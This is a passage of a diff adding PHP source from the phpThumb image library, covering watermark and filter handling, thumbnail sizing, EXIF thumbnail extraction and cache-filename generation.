+							foreach ($margins as $xy) {
+								$margin[$xy] = (strlen($margin[$xy]) ? $margin[$xy] : 5);
+								if (($margin[$xy] > 0) && ($margin[$xy] < 1)) {
+									$margin[$xy] = min(0.499, $margin[$xy]);
+								} elseif (($margin[$xy] > -1) && ($margin[$xy] < 0)) {
+									$margin[$xy] = max(-0.499, $margin[$xy]);
+								}
+							}
+						}
+
+						$filename = $this->ResolveFilenameToAbsolute($filename);
+						if (@is_readable($filename)) {
+							if ($img_watermark = $this->ImageCreateFromFilename($filename)) {
+								if ($rotate_angle !== 0) {
+									$phpthumbFilters->ImprovedImageRotate($img_watermark, $rotate_angle);
+								}
+								if (eregi('^([0-9\\.\\-]*)x([0-9\\.\\-]*)$', $alignment, $matches)) {
+									$watermark_max_width  = intval($margin['x'] ? $margin['x'] : ImageSX($img_watermark));
+									$watermark_max_height = intval($margin['y'] ? $margin['y'] : ImageSY($img_watermark));
+									$scale = phpthumb_functions::ScaleToFitInBox(ImageSX($img_watermark), ImageSY($img_watermark), $watermark_max_width, $watermark_max_height, true, true);
+									$this->DebugMessage('Scaling watermark by a factor of '.number_format($scale, 4), __FILE__, __LINE__);
+									if (($scale > 1) || ($scale < 1)) {
+										if ($img_watermark2 = phpthumb_functions::ImageCreateFunction($scale * ImageSX($img_watermark), $scale * ImageSY($img_watermark))) {
+											ImageAlphaBlending($img_watermark2, false);
+											ImageSaveAlpha($img_watermark2, true);
+											$this->ImageResizeFunction($img_watermark2, $img_watermark, 0, 0, 0, 0, ImageSX($img_watermark2), ImageSY($img_watermark2), ImageSX($img_watermark), ImageSY($img_watermark));
+											$img_watermark = $img_watermark2;
+										} else {
+											$this->DebugMessage('ImageCreateFunction('.($scale * ImageSX($img_watermark)).', '.($scale * ImageSX($img_watermark)).') failed', __FILE__, __LINE__);
+										}
+									}
+									$watermark_dest_x = round($matches[1] - (ImageSX($img_watermark) / 2));
+									$watermark_dest_y = round($matches[2] - (ImageSY($img_watermark) / 2));
+									$alignment = $watermark_dest_x.'x'.$watermark_dest_y;
+								}
+								$phpthumbFilters->WatermarkOverlay($this->gdimg_output, $img_watermark, $alignment, $opacity, $margin['x'], $margin['y']);
+								ImageDestroy($img_watermark);
+								if (isset($img_watermark2) && is_resource($img_watermark2)) {
+									ImageDestroy($img_watermark2);
+								}
+							} else {
+								$this->DebugMessage('ImageCreateFromFilename() failed for "'.$filename.'"', __FILE__, __LINE__);
+							}
+						} else {
+							$this->DebugMessage('!is_readable('.$filename.')', __FILE__, __LINE__);
+						}
+						break;
+
+					case 'wmt': // WaterMarkText
+						@list($text, $size, $alignment, $hex_color, $ttffont, $opacity, $margin, $angle, $bg_color, $bg_opacity, $fillextend) = explode('|', $parameter);
+						$text       = ($text            ? $text       : '');
+						$size       = ($size            ? $size       : 3);
+						$alignment  = ($alignment       ? $alignment  : 'BR');
+						$hex_color  = ($hex_color       ? $hex_color  : '000000');
+						$ttffont    = ($ttffont         ? $ttffont    : '');
+						$opacity    = (strlen($opacity) ? $opacity    : 50);
+						$margin     = (strlen($margin)  ? $margin     : 5);
+						$angle      = (strlen($angle)   ? $angle      : 0);
+						$bg_color   = ($bg_color        ? $bg_color   : false);
+						$bg_opacity = ($bg_opacity      ? $bg_opacity : 0);
+						$fillextend = ($fillextend      ? $fillextend : '');
+
+						if (basename($ttffont) == $ttffont) {
+							$ttffont = realpath($this->config_ttf_directory.DIRECTORY_SEPARATOR.$ttffont);
+						} else {
+							$ttffont = $this->ResolveFilenameToAbsolute($ttffont);
+						}
+						$phpthumbFilters->WatermarkText($this->gdimg_output, $text, $size, $alignment, $hex_color, $ttffont, $opacity, $margin, $angle, $bg_color, $bg_opacity, $fillextend);
+						break;
+
+					case 'blur': // Blur
+						@list($radius) = explode('|', $parameter);
+						$radius = ($radius ? $radius : 1);
+						if (phpthumb_functions::gd_version() >= 2) {
+							$phpthumbFilters->Blur($this->gdimg_output, $radius);
+						} else {
+							$this->DebugMessage('Skipping Blur() because gd_version is "'.phpthumb_functions::gd_version().'"', __FILE__, __LINE__);
+							//return false;
+						}
+						break;
+
+					case 'size': // Resize
+						@list($newwidth, $newheight, $stretch) = explode('|', $parameter);
+						$newwidth  = (!$newwidth  ? ImageSX($this->gdimg_output) : ((($newwidth  > 0) && ($newwidth  < 1)) ? round($newwidth  * ImageSX($this->gdimg_output)) : round($newwidth)));
+						$newheight = (!$newheight ? ImageSY($this->gdimg_output) : ((($newheight > 0) && ($newheight < 1)) ? round($newheight * ImageSY($this->gdimg_output)) : round($newheight)));
+						$stretch   = ($stretch ? true : false);
+						if ($stretch) {
+							$scale_x = phpthumb_functions::ScaleToFitInBox(ImageSX($this->gdimg_output), ImageSX($this->gdimg_output), $newwidth,  $newwidth,  true, true);
+							$scale_y = phpthumb_functions::ScaleToFitInBox(ImageSY($this->gdimg_output), ImageSY($this->gdimg_output), $newheight, $newheight, true, true);
+						} else {
+							$scale_x = phpthumb_functions::ScaleToFitInBox(ImageSX($this->gdimg_output), ImageSY($this->gdimg_output), $newwidth, $newheight, true, true);
+							$scale_y = $scale_x;
+						}
+						$this->DebugMessage('Scaling watermark ('.($stretch ? 'with' : 'without').' stretch) by a factor of "'.number_format($scale_x, 4).' x '.number_format($scale_y, 4).'"', __FILE__, __LINE__);
+						if (($scale_x > 1) || ($scale_x < 1) || ($scale_y > 1) || ($scale_y < 1)) {
+							if ($img_temp = phpthumb_functions::ImageCreateFunction(ImageSX($this->gdimg_output), ImageSY($this->gdimg_output))) {
+								ImageCopy($img_temp, $this->gdimg_output, 0, 0, 0, 0, ImageSX($this->gdimg_output), ImageSY($this->gdimg_output));
+								//ImageDestroy($this->gdimg_output);
+								if ($this->gdimg_output = phpthumb_functions::ImageCreateFunction($scale_x * ImageSX($img_temp), $scale_y * ImageSY($img_temp))) {
+									ImageAlphaBlending($this->gdimg_output, false);
+									ImageSaveAlpha($this->gdimg_output, true);
+									$this->ImageResizeFunction($this->gdimg_output, $img_temp, 0, 0, 0, 0, ImageSX($this->gdimg_output), ImageSY($this->gdimg_output), ImageSX($img_temp), ImageSY($img_temp));
+								} else {
+									$this->DebugMessage('ImageCreateFunction('.($scale_x * ImageSX($img_temp)).', '.($scale_y * ImageSY($img_temp)).') failed', __FILE__, __LINE__);
+								}
+								ImageDestroy($img_temp);
+							} else {
+								$this->DebugMessage('ImageCreateFunction('.ImageSX($this->gdimg_output).', '.ImageSY($this->gdimg_output).') failed', __FILE__, __LINE__);
+							}
+						}
+						break;
+
+					case 'gblr': // Gaussian Blur
+						$phpthumbFilters->BlurGaussian($this->gdimg_output);
+						break;
+
+					case 'sblr': // Selective Blur
+						$phpthumbFilters->BlurSelective($this->gdimg_output);
+						break;
+
+					case 'mean': // MeanRemoval blur
+						$phpthumbFilters->MeanRemoval($this->gdimg_output);
+						break;
+
+					case 'smth': // Smooth blur
+						$phpthumbFilters->Smooth($this->gdimg_output, $parameter);
+						break;
+
+					case 'usm': // UnSharpMask sharpening
+						@list($amount, $radius, $threshold) = explode('|', $parameter);
+						$amount    = ($amount            ? $amount    : 80);
+						$radius    = ($radius            ? $radius    : 0.5);
+						$threshold = (strlen($threshold) ? $threshold : 3);
+						if (phpthumb_functions::gd_version() >= 2.0) {
+							ob_start();
+							if (!@include_once(dirname(__FILE__).'/phpthumb.unsharp.php')) {
+								$include_error = ob_get_contents();
+								if ($include_error) {
+									$this->DebugMessage('include_once("'.dirname(__FILE__).'/phpthumb.unsharp.php") generated message: "'.$include_error.'"', __FILE__, __LINE__);
+								}
+								$this->DebugMessage('Error including "'.dirname(__FILE__).'/phpthumb.unsharp.php" which is required for unsharp masking', __FILE__, __LINE__);
+								ob_end_clean();
+								return false;
+							}
+							ob_end_clean();
+							phpUnsharpMask::applyUnsharpMask($this->gdimg_output, $amount, $radius, $threshold);
+						} else {
+							$this->DebugMessage('Skipping unsharp mask because gd_version is "'.phpthumb_functions::gd_version().'"', __FILE__, __LINE__);
+							return false;
+						}
+						break;
+
+					case 'rot': // ROTate
+						@list($angle, $bgcolor) = explode('|', $parameter);
+						$phpthumbFilters->ImprovedImageRotate($this->gdimg_output, $angle, $bgcolor);
+						break;
+
+					case 'stc': // Source Transparent Color
+						@list($hexcolor, $min_limit, $max_limit) = explode('|', $parameter);
+						if (!phpthumb_functions::IsHexColor($hexcolor)) {
+							$this->DebugMessage('Skipping SourceTransparentColor hex color is invalid ('.$hexcolor.')', __FILE__, __LINE__);
+							return false;
+						}
+						$min_limit = (strlen($min_limit) ? $min_limit :  5);
+						$max_limit = (strlen($max_limit) ? $max_limit : 10);
+						if ($gdimg_mask = $phpthumbFilters->SourceTransparentColorMask($this->gdimg_output, $hexcolor, $min_limit, $max_limit)) {
+							$this->is_alpha = true;
+							$phpthumbFilters->ApplyMask($gdimg_mask, $this->gdimg_output);
+							ImageDestroy($gdimg_mask);
+						} else {
+							$this->DebugMessage('SourceTransparentColorMask() failed for "'.$mask_filename.'"', __FILE__, __LINE__);
+						}
+						break;
+				}
+				$this->DebugMessage('Finished processing filter command "'.$command.'('.$parameter.')"', __FILE__, __LINE__);
+			}
+		}
+		return true;
+	}
+
+
+	function MaxFileSize() {
+		if (phpthumb_functions::gd_version() < 2) {
+			$this->DebugMessage('Skipping MaxFileSize() because gd_version is "'.phpthumb_functions::gd_version().'"', __FILE__, __LINE__);
+			return false;
+		}
+		if ($this->maxb > 0) {
+			switch ($this->thumbnailFormat) {
+				case 'png':
+				case 'gif':
+					$imgRenderFunction = 'image'.$this->thumbnailFormat;
+
+					ob_start();
+					$imgRenderFunction($this->gdimg_output);
+					$imgdata = ob_get_contents();
+					ob_end_clean();
+
+					if (strlen($imgdata) > $this->maxb) {
+						for ($i = 8; $i >= 1; $i--) {
+							$tempIMG = ImageCreateTrueColor(ImageSX($this->gdimg_output), ImageSY($this->gdimg_output));
+							ImageCopy($tempIMG, $this->gdimg_output, 0, 0, 0, 0, ImageSX($this->gdimg_output), ImageSY($this->gdimg_output));
+							ImageTrueColorToPalette($tempIMG, true, pow(2, $i));
+							ob_start();
+							$imgRenderFunction($tempIMG);
+							$imgdata = ob_get_contents();
+							ob_end_clean();
+
+							if (strlen($imgdata) <= $this->maxb) {
+								ImageTrueColorToPalette($this->gdimg_output, true, pow(2, $i));
+								break;
+							}
+						}
+					}
+					if (strlen($imgdata) > $this->maxb) {
+						ImageTrueColorToPalette($this->gdimg_output, true, pow(2, $i));
+						return false;
+					}
+					break;
+
+				case 'jpeg':
+					ob_start();
+					ImageJPEG($this->gdimg_output);
+					$imgdata = ob_get_contents();
+					ob_end_clean();
+
+					$OriginalJPEGquality = $this->thumbnailQuality;
+					if (strlen($imgdata) > $this->maxb) {
+						for ($i = 3; $i < 20; $i++) {
+							$q = round(100 * (1 - log10($i / 2)));
+							ob_start();
+							ImageJPEG($this->gdimg_output, '', $q);
+							$imgdata = ob_get_contents();
+							ob_end_clean();
+
+							$this->thumbnailQuality = $q;
+							if (strlen($imgdata) <= $this->maxb) {
+								break;
+							}
+						}
+					}
+					if (strlen($imgdata) > $this->maxb) {
+						return false;
+					}
+					break;
+
+				default:
+					return false;
+					break;
+			}
+		}
+		return true;
+	}
+
+
+	function CalculateThumbnailDimensions() {
+//echo $this->source_width.'x'.$this->source_height.'<hr>';
+		$this->thumbnailCropX = ($this->sx ? (($this->sx >= 1) ? $this->sx : round($this->sx * $this->source_width))  : 0);
+//echo $this->thumbnailCropX.'<br>';
+		$this->thumbnailCropY = ($this->sy ? (($this->sy >= 1) ? $this->sy : round($this->sy * $this->source_height)) : 0);
+//echo $this->thumbnailCropY.'<br>';
+		$this->thumbnailCropW = ($this->sw ? (($this->sw >= 1) ? $this->sw : round($this->sw * $this->source_width))  : $this->source_width);
+//echo $this->thumbnailCropW.'<br>';
+		$this->thumbnailCropH = ($this->sh ? (($this->sh >= 1) ? $this->sh : round($this->sh * $this->source_height)) : $this->source_height);
+//echo $this->thumbnailCropH.'<hr>';
+
+		// limit source area to original image area
+		$this->thumbnailCropW = max(1, min($this->thumbnailCropW, $this->source_width  - $this->thumbnailCropX));
+		$this->thumbnailCropH = max(1, min($this->thumbnailCropH, $this->source_height - $this->thumbnailCropY));
+
+		$this->DebugMessage('CalculateThumbnailDimensions() [x,y,w,h] initially set to ['.$this->thumbnailCropX.','.$this->thumbnailCropY.','.$this->thumbnailCropW.','.$this->thumbnailCropH.']', __FILE__, __LINE__);
+
+
+		if ($this->zc && $this->w && $this->h) {
+			// Zoom Crop
+			// retain proportional resizing we did above, but crop off larger dimension so smaller
+			// dimension fully fits available space
+
+			$scaling_X = $this->source_width  / $this->w;
+			$scaling_Y = $this->source_height / $this->h;
+			if ($scaling_X > $scaling_Y) {
+				// some of the width will need to be cropped
+				$allowable_width = $this->source_width / $scaling_X * $scaling_Y;
+				$this->thumbnailCropW = round($allowable_width);
+				$this->thumbnailCropX = round(($this->source_width - $allowable_width) / 2);
+
+			} elseif ($scaling_Y > $scaling_X) {
+				// some of the height will need to be cropped
+				$allowable_height = $this->source_height / $scaling_Y * $scaling_X;
+				$this->thumbnailCropH = round($allowable_height);
+				$this->thumbnailCropY = round(($this->source_height - $allowable_height) / 2);
+
+			} else {
+				// image fits perfectly, no cropping needed
+			}
+			$this->thumbnail_width  = $this->w;
+			$this->thumbnail_height = $this->h;
+			$this->thumbnail_image_width  = $this->thumbnail_width;
+			$this->thumbnail_image_height = $this->thumbnail_height;
+
+		} elseif ($this->iar && $this->w && $this->h) {
+
+			// Ignore Aspect Ratio
+			// stretch image to fit exactly 'w' x 'h'
+			$this->thumbnail_width  = $this->w;
+			$this->thumbnail_height = $this->h;
+			$this->thumbnail_image_width  = $this->thumbnail_width;
+			$this->thumbnail_image_height = $this->thumbnail_height;
+
+		} else {
+
+			$original_aspect_ratio = $this->thumbnailCropW / $this->thumbnailCropH;
+			if ($this->aoe) {
+				if ($this->w && $this->h) {
+					$maxwidth  = min($this->w, $this->h * $original_aspect_ratio);
+					$maxheight = min($this->h, $this->w / $original_aspect_ratio);
+				} elseif ($this->w) {
+					$maxwidth  = $this->w;
+					$maxheight = $this->w / $original_aspect_ratio;
+				} elseif ($this->h) {
+					$maxwidth  = $this->h * $original_aspect_ratio;
+					$maxheight = $this->h;
+				} else {
+					$maxwidth  = $this->thumbnailCropW;
+					$maxheight = $this->thumbnailCropH;
+				}
+			} else {
+				$maxwidth  = phpthumb_functions::nonempty_min($this->w, $this->thumbnailCropW, $this->config_output_maxwidth);
+				$maxheight = phpthumb_functions::nonempty_min($this->h, $this->thumbnailCropH, $this->config_output_maxheight);
+//echo $maxwidth.'x'.$maxheight.'<br>';
+				$maxwidth  = min($maxwidth, $maxheight * $original_aspect_ratio);
+				$maxheight = min($maxheight, $maxwidth / $original_aspect_ratio);
+//echo $maxwidth.'x'.$maxheight.'<hr>';
+			}
+
+			$this->thumbnail_image_width  = $maxwidth;
+			$this->thumbnail_image_height = $maxheight;
+			$this->thumbnail_width  = $maxwidth;
+			$this->thumbnail_height = $maxheight;
+
+			$this->FixedAspectRatio();
+		}
+
+		$this->thumbnail_width  = max(1, floor($this->thumbnail_width));
+		$this->thumbnail_height = max(1, floor($this->thumbnail_height));
+		return true;
+	}
+
+
+	function CreateGDoutput() {
+		$this->CalculateThumbnailDimensions();
+
+		// Create the GD image (either true-color or 256-color, depending on GD version)
+		$this->gdimg_output = phpthumb_functions::ImageCreateFunction($this->thumbnail_width, $this->thumbnail_height);
+
+		// Images that have transparency must have the background filled with the configured 'bg' color
+		// otherwise the transparent color will appear as black
+		ImageSaveAlpha($this->gdimg_output, true);
+		if ($this->is_alpha && phpthumb_functions::gd_version() >= 2) {
+
+			ImageAlphaBlending($this->gdimg_output, false);
+			$output_full_alpha = phpthumb_functions::ImageColorAllocateAlphaSafe($this->gdimg_output, 255, 255, 255, 127);
+			ImageFilledRectangle($this->gdimg_output, 0, 0, $this->thumbnail_width, $this->thumbnail_height, $output_full_alpha);
+
+		} else {
+
+			$current_transparent_color = ImageColorTransparent($this->gdimg_source);
+			if ($this->bg || (@$current_transparent_color >= 0)) {
+
+				$this->config_background_hexcolor = ($this->bg ? $this->bg : $this->config_background_hexcolor);
+				if (!phpthumb_functions::IsHexColor($this->config_background_hexcolor)) {
+					return $this->ErrorImage('Invalid hex color string "'.$this->config_background_hexcolor.'" for parameter "bg"');
+				}
+				$background_color = phpthumb_functions::ImageHexColorAllocate($this->gdimg_output, $this->config_background_hexcolor);
+				ImageFilledRectangle($this->gdimg_output, 0, 0, $this->thumbnail_width, $this->thumbnail_height, $background_color);
+
+			}
+
+		}
+		$this->DebugMessage('CreateGDoutput() returning canvas "'.$this->thumbnail_width.'x'.$this->thumbnail_height.'"', __FILE__, __LINE__);
+		return true;
+	}
+
+	function SetOrientationDependantWidthHeight() {
+		$this->DebugMessage('SetOrientationDependantWidthHeight() starting with "'.$this->source_width.'"x"'.$this->source_height.'"', __FILE__, __LINE__);
+		if ($this->source_height > $this->source_width) {
+			// portrait
+			$this->w = phpthumb_functions::OneOfThese($this->wp, $this->w, $this->ws, $this->wl);
+			$this->h = phpthumb_functions::OneOfThese($this->hp, $this->h, $this->hs, $this->hl);
+		} elseif ($this->source_height < $this->source_width) {
+			// landscape
+			$this->w = phpthumb_functions::OneOfThese($this->wl, $this->w, $this->ws, $this->wp);
+			$this->h = phpthumb_functions::OneOfThese($this->hl, $this->h, $this->hs, $this->hp);
+		} else {
+			// square
+			$this->w = phpthumb_functions::OneOfThese($this->ws, $this->w, $this->wl, $this->wp);
+			$this->h = phpthumb_functions::OneOfThese($this->hs, $this->h, $this->hl, $this->hp);
+		}
+		//$this->w = round($this->w ? $this->w : (($this->h && $this->source_height) ? $this->h * $this->source_width  / $this->source_height : $this->w));
+		//$this->h = round($this->h ? $this->h : (($this->w && $this->source_width)  ? $this->w * $this->source_height / $this->source_width  : $this->h));
+		$this->DebugMessage('SetOrientationDependantWidthHeight() setting w="'.intval($this->w).'", h="'.intval($this->h).'"', __FILE__, __LINE__);
+		return true;
+	}
+
+	function ExtractEXIFgetImageSize() {
+		$this->DebugMessage('starting ExtractEXIFgetImageSize()', __FILE__, __LINE__);
+
+		if (eregi('^http:', $this->src) && !$this->sourceFilename && $this->rawImageData) {
+			!$this->SourceDataToTempFile();
+		}
+		if (is_null($this->getimagesizeinfo)) {
+			if ($this->sourceFilename) {
+				$this->getimagesizeinfo = @GetImageSize($this->sourceFilename);
+				$this->source_width  = $this->getimagesizeinfo[0];
+				$this->source_height = $this->getimagesizeinfo[1];
+				$this->DebugMessage('GetImageSize('.$this->sourceFilename.') says image is '.$this->source_width.'x'.$this->source_height, __FILE__, __LINE__);
+			} else {
+				$this->DebugMessage('skipping GetImageSize() because $this->sourceFilename is empty', __FILE__, __LINE__);
+			}
+		} else {
+			$this->DebugMessage('skipping GetImageSize() because !is_null($this->getimagesizeinfo)', __FILE__, __LINE__);
+		}
+
+		if (is_resource($this->gdimg_source)) {
+
+			$this->source_width  = ImageSX($this->gdimg_source);
+			$this->source_height = ImageSY($this->gdimg_source);
+
+			$this->SetOrientationDependantWidthHeight();
+
+		} elseif ($this->rawImageData && !$this->sourceFilename) {
+
+			if ($this->SourceImageIsTooLarge($this->source_width, $this->source_height)) {
+				$this->DebugMessage('NOT bypassing EXIF and GetImageSize sections because source image is too large for GD ('.$this->source_width.'x'.$this->source_width.'='.($this->source_width * $this->source_height * 5).'MB)', __FILE__, __LINE__);
+			} else {
+				$this->DebugMessage('bypassing EXIF and GetImageSize sections because $this->rawImageData is set, and $this->sourceFilename is not set, and source image is not too large for GD ('.$this->source_width.'x'.$this->source_width.'='.($this->source_width * $this->source_height * 5).'MB)', __FILE__, __LINE__);
+			}
+
+		}
+
+		if (!empty($this->getimagesizeinfo)) {
+			// great
+			$this->getimagesizeinfo['filesize'] = @filesize($this->sourceFilename);
+		} elseif (!$this->rawImageData) {
+			$this->DebugMessage('GetImageSize("'.$this->sourceFilename.'") failed', __FILE__, __LINE__);
+		}
+
+		if ($this->config_prefer_imagemagick) {
+			if ($this->ImageMagickThumbnailToGD()) {
+				return true;
+			}
+			$this->DebugMessage('ImageMagickThumbnailToGD() failed', __FILE__, __LINE__);
+		}
+
+		$this->SetOrientationDependantWidthHeight();
+
+		if (phpthumb_functions::version_compare_replacement(phpversion(), '4.2.0', '>=') && function_exists('exif_read_data')) {
+			$this->exif_raw_data = @exif_read_data($this->sourceFilename, 0, true);
+		}
+		if (function_exists('exif_thumbnail') && ($this->getimagesizeinfo[2] == 2)) {
+			// Extract EXIF info from JPEGs
+
+			$this->exif_thumbnail_width  = '';
+			$this->exif_thumbnail_height = '';
+			$this->exif_thumbnail_type   = '';
+
+			// The parameters width, height and imagetype are available since PHP v4.3.0
+			if (phpthumb_functions::version_compare_replacement(phpversion(), '4.3.0', '>=')) {
+
+				$this->exif_thumbnail_data = @exif_thumbnail($this->sourceFilename, $this->exif_thumbnail_width, $this->exif_thumbnail_height, $this->exif_thumbnail_type);
+
+			} else {
+
+				// older versions of exif_thumbnail output an error message but NOT return false on failure
+				ob_start();
+				$this->exif_thumbnail_data = exif_thumbnail($this->sourceFilename);
+				$exit_thumbnail_error = ob_get_contents();
+				ob_end_clean();
+				if (!$exit_thumbnail_error && $this->exif_thumbnail_data) {
+
+					if ($gdimg_exif_temp = $this->ImageCreateFromStringReplacement($this->exif_thumbnail_data, false)) {
+						$this->exif_thumbnail_width  = ImageSX($gdimg_exif_temp);
+						$this->exif_thumbnail_height = ImageSY($gdimg_exif_temp);
+						$this->exif_thumbnail_type   = 2; // (2 == JPEG) before PHP v4.3.0 only JPEG format EXIF thumbnails are returned
+						unset($gdimg_exif_temp);
+					} else {
+						return $this->ErrorImage('Failed - $this->ImageCreateFromStringReplacement($this->exif_thumbnail_data) in '.__FILE__.' on line '.__LINE__);
+					}
+
+				}
+
+			}
+
+		} elseif (!function_exists('exif_thumbnail')) {
+
+			$this->DebugMessage('exif_thumbnail() does not exist, cannot extract EXIF thumbnail', __FILE__, __LINE__);
+			//return false;
+
+		}
+
+		$this->DebugMessage('EXIF thumbnail extraction: (size='.strlen($this->exif_thumbnail_data).'; type="'.$this->exif_thumbnail_type.'"; '.intval($this->exif_thumbnail_width).'x'.intval($this->exif_thumbnail_height).')', __FILE__, __LINE__);
+
+		// see if EXIF thumbnail can be used directly with no processing
+		if ($this->config_use_exif_thumbnail_for_speed && $this->exif_thumbnail_data) {
+			while (true) {
+				if (!$this->xto) {
+					$source_ar = $this->source_width / $this->source_height;
+					$exif_ar = $this->exif_thumbnail_width / $this->exif_thumbnail_height;
+					if (number_format($source_ar, 2) != number_format($exif_ar, 2)) {
+						$this->DebugMessage('not using EXIF thumbnail because $source_ar != $exif_ar ('.$source_ar.' != '.$exif_ar.')', __FILE__, __LINE__);
+						break;
+					}
+					if ($this->w && ($this->w != $this->exif_thumbnail_width)) {
+						$this->DebugMessage('not using EXIF thumbnail because $this->w != $this->exif_thumbnail_width ('.$this->w.' != '.$this->exif_thumbnail_width.')', __FILE__, __LINE__);
+						break;
+					}
+					if ($this->h && ($this->h != $this->exif_thumbnail_height)) {
+						$this->DebugMessage('not using EXIF thumbnail because $this->h != $this->exif_thumbnail_height ('.$this->h.' != '.$this->exif_thumbnail_height.')', __FILE__, __LINE__);
+						break;
+					}
+					$CannotBeSetParameters = array('sx', 'sy', 'sh', 'sw', 'far', 'bg', 'bc', 'fltr', 'phpThumbDebug');
+					foreach ($CannotBeSetParameters as $parameter) {
+						if ($this->$parameter) {
+							break 2;
+						}
+					}
+				}
+
+				$this->DebugMessage('setting $this->gdimg_source = $this->ImageCreateFromStringReplacement($this->exif_thumbnail_data)', __FILE__, __LINE__);
+				$this->gdimg_source = $this->ImageCreateFromStringReplacement($this->exif_thumbnail_data);
+				$this->source_width  = ImageSX($this->gdimg_source);
+				$this->source_height = ImageSY($this->gdimg_source);
+				return true;
+			}
+		}
+
+		if (($this->config_max_source_pixels > 0) && (($this->source_width * $this->source_height) > $this->config_max_source_pixels)) {
+
+			// Source image is larger than would fit in available PHP memory.
+			// If ImageMagick is installed, use it to generate the thumbnail.
+			// Else, if an EXIF thumbnail is available, use that as the source image.
+			// Otherwise, no choice but to fail with an error message
+			$this->DebugMessage('image is '.$this->source_width.'x'.$this->source_height.' and therefore contains more pixels ('.($this->source_width * $this->source_height).') than $this->config_max_source_pixels setting ('.$this->config_max_source_pixels.')', __FILE__, __LINE__);
+			if (!$this->config_prefer_imagemagick && $this->ImageMagickThumbnailToGD()) {
+				// excellent, we have a thumbnailed source image
+				return true;
+			}
+
+		}
+		return true;
+	}
+
+
+	function SetCacheFilename() {
+		if (!is_null($this->cache_filename)) {
+			$this->DebugMessage('$this->cache_filename already set, skipping SetCacheFilename()', __FILE__, __LINE__);
+			return true;
+		}
+		$this->setOutputFormat();
+		$this->setCacheDirectory();
+		if (!$this->config_cache_directory) {
+			$this->DebugMessage('SetCacheFilename() failed because $this->config_cache_directory is empty', __FILE__, __LINE__);
+			return false;
+		}
+
+		if (!$this->sourceFilename && !$this->rawImageData && $this->src) {
+			$this->sourceFilename = $this->ResolveFilenameToAbsolute($this->src);
+		}
+
+		if ($this->config_cache_default_only_suffix && $this->sourceFilename) {
+			// simplified cache filenames:
+			// only use default parameters in phpThumb.config.php
+			// substitute source filename into * in $this->config_cache_default_only_suffix
+			// (eg: '*_thumb' becomes 'picture_thumb.jpg')
+			if (strpos($this->config_cache_default_only_suffix, '*') === false) {
+				$this->DebugMessage('aborting simplified caching filename because no * in "'.$this->config_cache_default_only_suffix.'"', __FILE__, __LINE__);
+			} else {
+				eregi('(.+)(\.[a-z0-9]+)?$', basename($this->sourceFilename), $matches);
+				$this->cache_filename = $this->config_cache_directory.DIRECTORY_SEPARATOR.rawurlencode(str_replace('*', @$matches[1], $this->config_cache_default_only_suffix)).'.'.strtolower($this->thumbnailFormat);
+				return true;
+			}
+		}
+
+		$this->cache_filename = '';
+		$broad_directory_name = '';
+		if ($this->new) {
+			$broad_directory_name = strtolower(md5($this->new));
+			$this->cache_filename .= '_new'.$broad_directory_name;
+		} elseif ($this->md5s) {
+			// source image MD5 hash provided
+			$this->DebugMessage('SetCacheFilename() _raw set from $this->md5s = "'.$this->md5s.'"', __FILE__, __LINE__);
+			$broad_directory_name = $this->md5s;
+			$this->cache_filename .= '_raw'.$this->md5s;
+		} elseif (!$this->src && $this->rawImageData) {
+			$this->DebugMessage('SetCacheFilename() _raw set from md5($this->rawImageData) = "'.md5($this->rawImageData).'"', __FILE__, __LINE__);
+			$broad_directory_name = strtolower(md5($this->rawImageData));
+			$this->cache_filename .= '_raw'.$broad_directory_name;
+		} else {
+			$this->DebugMessage('SetCacheFilename() _src set from md5($this->sourceFilename) "'.$this->sourceFilename.'" = "'.md5($this->sourceFilename).'"', __FILE__, __LINE__);
+			$broad_directory_name = strtolower(md5($this->sourceFilename));
+			$this->cache_filename .= '_src'.$broad_directory_name;
+		}
+		if (@$_SERVER['HTTP_REFERER'] && $this->config_nooffsitelink_enabled) {
+			$parsed_url1 = @phpthumb_functions::ParseURLbetter(@$_SERVER['HTTP_REFERER']);
+			$parsed_url2 = @phpthumb_functions::ParseURLbetter('http://'.@$_SERVER['HTTP_HOST']);
+			if (@$parsed_url1['host'] && @$parsed_url2['host'] && ($parsed_url1['host'] != $parsed_url2['host'])) {
+				// include "_offsite" only if nooffsitelink_enabled and if referrer doesn't match the domain of the current server
+				$this->cache_filename .= '_offsite';
+			}
+		}
+
+		$ParametersString = '';
+		if ($this->fltr && is_array($this->fltr)) {
+			$ParametersString .= '_fltr'.implode('_fltr', $this->fltr);
+		}
+		$FilenameParameters1 = array('ar', 'bg', 'bc', 'far', 'sx', 'sy', 'sw', 'sh', 'zc');
+		foreach ($FilenameParameters1 as $key) {
+			if ($this->$key) {
+				$ParametersString .= '_'.$key.$this->$key;
+			}
+		}
+		$FilenameParameters2 = array('h', 'w', 'wl', 'wp', 'ws', 'hp', 'hs', 'xto', 'ra', 'iar', 'aoe', 'maxb', 'sfn', 'dpi');
+		foreach ($FilenameParameters2 as $key) {
+			if ($this->$key) {
+				$ParametersString .= '_'.$key.intval($this->$key);
+			}
+		}
+		if ($this->thumbnailFormat == 'jpeg') {
+			// only JPEG output has variable quality option
+			$ParametersString .= '_q'.intval($this->thumbnailQuality);
+		}
+		$this->DebugMessage('SetCacheFilename() _par set from md5('.$ParametersString.')', __FILE__, __LINE__);
+		$this->cache_filename .= '_par'.strtolower(md5($ParametersString));
+
+		if ($this->md5s) {
+			// source image MD5 hash provided
+			// do not source image modification date --
+			// cached image will be used even if file was modified or removed
+		} elseif (!$this->config_cache_source_filemtime_ignore_remote && eregi('^(f|ht)tps?\://', $this->src)) {
+			$this->cache_filename .= '_dat'.intval(phpthumb_functions::filedate_remote($this->src));
+		} elseif (!$this->config_cache_source_filemtime_ignore_local && $this->src && !$this->rawImageData) {
+			$this->cache_filename .= '_dat'.intval(@filemtime($this->sourceFilename));
+		}
+
+		$this->cache_filename .= '.'.strtolower($this->thumbnailFormat);
+		$broad_directories = '';
+		for ($i = 0; $i < $this->config_cache_directory_depth; $i++) {
+			$broad_directories .= DIRECTORY_SEPARATOR.substr($broad_directory_name, 0, $i + 1);
+		}
+
+		$this->cache_filename = $this->config_cache_directory.$broad_directories.DIRECTORY_SEPARATOR.$this->config_cache_prefix.rawurlencode($this->cache_filename);
+		return true;
+	}
+
+
+	function SourceImageIsTooLarge($width, $height) {
+		if (!$this->config_max_source_pixels) {
+			return false;
+		}
+		if (function_exists('memory_get_usage')) {
+			$available_memory = max(intval(ini_get('memory_limit')), intval(get_cfg_var('memory_limit'))) * 1048576;
+			$available_memory -= memory_get_usage();
+			return (bool) (($width * $height * 5) > $available_memory);
+		}
